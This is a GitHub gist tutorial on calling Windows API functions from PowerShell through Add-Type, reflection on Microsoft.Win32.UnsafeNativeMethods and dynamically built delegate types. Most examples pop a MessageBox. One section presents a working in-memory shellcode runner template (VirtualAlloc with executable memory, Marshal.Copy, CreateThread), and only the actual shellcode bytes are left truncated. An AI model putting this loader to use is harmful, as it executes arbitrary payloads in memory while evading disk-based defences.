Skip to content

Instantly share code, notes, and snippets.

@MohitDabas
Last active September 17, 2023 11:09
Show Gist options
  • Save MohitDabas/a739b6aa901a0926d6c1ed94b768f72e to your computer and use it in GitHub Desktop.
Save MohitDabas/a739b6aa901a0926d6c1ed94b768f72e to your computer and use it in GitHub Desktop.
Calling Windows APIs via Powershell with Example code

Call WinAPI functions in PowerShell using delegate functions with Add-Type and Reflection types

Simplest Method

$code = @"
using System;
using System.Runtime.InteropServices;

public class User32Interop {
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
}

public class Program {
    public static void Main() {
        User32Interop.MessageBox(IntPtr.Zero, "Hello, MessageBox!", "MessageBox Example", 0);
    }
}
"@

Add-Type -TypeDefinition $code -Language CSharp

[Program]::Main()

Resolve address functions

To perform reflection we first need to obtain GetModuleHandle and GetProcAdresse to be able to lookup of Win32 API function addresses.

To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies.

# Retrieve all loaded Assemblies
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()

Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods 
$Assemblies |
  ForEach-Object {
    $_.GetTypes()|
      ForEach-Object {
          $_ | Get-Member -Static| Where-Object {
            $_.TypeName.Contains('Unsafe')
          }
      } 2> $nul l

We want to find where the Assemblies are located, so we will use the statement Location. Then we will look for all the methods inside the Assembly Microsoft.Win32.UnsafeNativeMethods TBN: GetModuleHandle and GetProcAddress are located in C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll

If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property GlobalAssemblyCache set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the System.dll.

$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
  $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') 
})
  
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')

To retrieve the method GetModuleHandle, we can use the method GetMethod(<METHOD_NAME>) to retrieve it. $GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')

Now we can use the Invoke method of our object $GetModuleHandle to get a reference of an unmanaged DLL. Invoke takes two arguments and both are objects:

  • The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null".
  • The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that. $GetModuleHandle.Invoke($null, @("user32.dll"))

However, we want to use the same method to use the function GetProcAddress, it won't work due to the fact that our System.dll object retrieved contains multiple occurences of the method GetProcAddress. Therefore the internal method GetMethod() will throw an error "Ambiguous match found.".

Therefore we will use the method GetMethods() to get all the available methods and then iterate over them to retrieve only those we want.

$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}

If we want to get the GetProcAddress reference, we will construct an array to store our matching object and use the first entry.

$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]

We need to take the first one, because the arguments type of the second one does not match with ours.

Alternatively we can use GetMethod function to precise the argument types that we want.

$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress',
			     [reflection.bindingflags]'Public,Static', 
			     $null, 
                             [System.Reflection.CallingConventions]::Any,
                             @([System.IntPtr], [string]), 
                             $null);

cf: https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0

Now we have everything to resolve any function address we want.

$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))

If we put everything in a function:

function LookupFunc {

    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

DelegateType Reflection

To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through DelegateType.
The DelegateType Reflection consists in manually create an assembly in memory and populate it with content.

The first step is to create a new assembly with the class AssemblyName and assign it a name.

$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')

Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method DefineDynamicAssembly will be used.

$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)

Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method DefineDynamicModule The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not.

$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)

The next step consists by creating a custom type that will become our delegate type. It can be done with the method DefineType. The arguments are:

  • a custom name
  • the attributes of the type
  • the type it build on top of
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

Then we will need to set the prototype of our function. First we need to use the method DefineConstructor to define a constructor. The method takes three arguments:

  • the attributes of the constructor
  • calling convention
  • the parameter types of the constructor that will become the function prototype
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public',
                                                        [System.Reflection.CallingConventions]::Standard,
                                                        @([IntPtr], [String], [String], [int]))

Then we need to set some implementation flags with the method SetImplementationFlags.

$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')

To be able to call our function, we need to define the Invoke method in our delegate type. For that the method DefineMethod allows us to do that. The method takes four arguments:

  • name of the method defined
  • method attributes
  • return type
  • array of argument types
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke',
                                                'Public, HideBySig, NewSlot, Virtual',
                                                [int],
                                                @([IntPtr], [String], [String], [int]))

If we put everything in a function:

function Get-Delegate
{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
        [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
        [Parameter(Position = 2)] [Type] $retType = [Void] # Return type
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('QM', $false).
    DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
    $delegate = $type.CreateType()

    return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}

Example with a simple shellcode runner

# Create a Delegate function  to be able to call the function that we have the address
function Get-Delegate
{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
        [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
        [Parameter(Position = 2)] [Type] $retType = [Void] # Return type
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('QM', $false).
    DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
    $delegate = $type.CreateType()

    return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Allow to retrieve function address from a dll
function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

# Simple Shellcode runner using delegation
$VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc"
$CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread"
$WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject" 


$VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int])

[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ...

$mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length)
$hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
$WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF)

Tested Example Code

Working Code

  1. Add-Type code compilation
$code = @"
using System;
using System.Runtime.InteropServices;

public class User32Interop {
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
}

public class Program {
    public static void Main() {
        User32Interop.MessageBox(IntPtr.Zero, "Hello, MessageBox!", "MessageBox Example", 0);
    }
}
"@

Add-Type -TypeDefinition $code -Language CSharp

[Program]::Main()
  1. Searching Dll and unsafe native function
# Load System.dll
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })

# Get the type for Microsoft.Win32.UnsafeNativeMethods
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')

# Get the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')
$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress')

# Load user32.dll to obtain the module handle
$user32 = "user32.dll"
$moduleHandle = $GetModuleHandle.Invoke($null, @($user32))

# Use GetProcAddress to obtain the address of MessageBoxA
$functionName = "MessageBoxA"
$functionPointer = $GetProcAddress.Invoke($null, @($moduleHandle, $functionName))

# Define the MessageBox parameters
$MB_OK = 0x00000000
$MB_ICONINFORMATION = 0x00000040

# Define the MessageBoxA delegate
$signature = @"
using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("$user32", CharSet = CharSet.Unicode)]
    public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
}
"@

# Compile the delegate
Add-Type -TypeDefinition $signature

# Call the MessageBoxA function using the function pointer
[User32]::MessageBox([System.IntPtr]::Zero, "Hello, MessageBox!", "MessageBox Example", ($MB_OK -bor $MB_ICONINFORMATION))
  1. Delegate Type Reflection
# Define a function to look up a function pointer in a DLL
function LookupFunc {
   Param (
       $moduleName,
       $functionName
   )

   # Get the assembly containing Microsoft.Win32.UnsafeNativeMethods from the GAC
   $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
       Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

   $tmp = @()

   # Find and store the GetProcAddress method from the assembly
   $assem.GetMethods() | ForEach-Object {
       if ($_.Name -eq "GetProcAddress") {
           $tmp += $_
       }
   }

   # Invoke GetProcAddress to obtain the function pointer
   return $tmp[0].Invoke(
       $null,
       @(
           ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)),
           $functionName
       )
   )
}

# Look up the function pointer for MessageBoxA in user32.dll
$MessageBoxA = LookupFunc "user32.dll" "MessageBoxA"

# Create a dynamic assembly and delegate type
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly(
   $MyAssembly,
   [System.Reflection.Emit.AssemblyBuilderAccess]::Run
)

$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$MyTypeBuilder = $MyModuleBuilder.DefineType(
   'MyDelegateType',
   'Class, Public, Sealed, AnsiClass, AutoClass',
   [System.MulticastDelegate]
)

# Define the constructor for the delegate type
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor(
   'RTSpecialName, HideBySig, Public',
   [System.Reflection.CallingConventions]::Standard,
   @([IntPtr], [String], [String], [int])
)
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')

# Define the Invoke method for the delegate type
$MyMethodBuilder = $MyTypeBuilder.DefineMethod(
   'Invoke',
   'Public, HideBySig, NewSlot, Virtual',
   [int],
   @([IntPtr], [String], [String], [int])
)
$MyMethodBuilder.SetImplementationFlags('Runtime, Managed')

# Create the delegate type
$MyDelegateType = $MyTypeBuilder.CreateType()

# Create a delegate instance using GetDelegateForFunctionPointer
$MyFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
   $MessageBoxA,
   $MyDelegateType
)

# Invoke the delegate to call MessageBoxA
$MyFunction.Invoke([IntPtr]::Zero, "Hello World", "This is My MessageBox", 0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment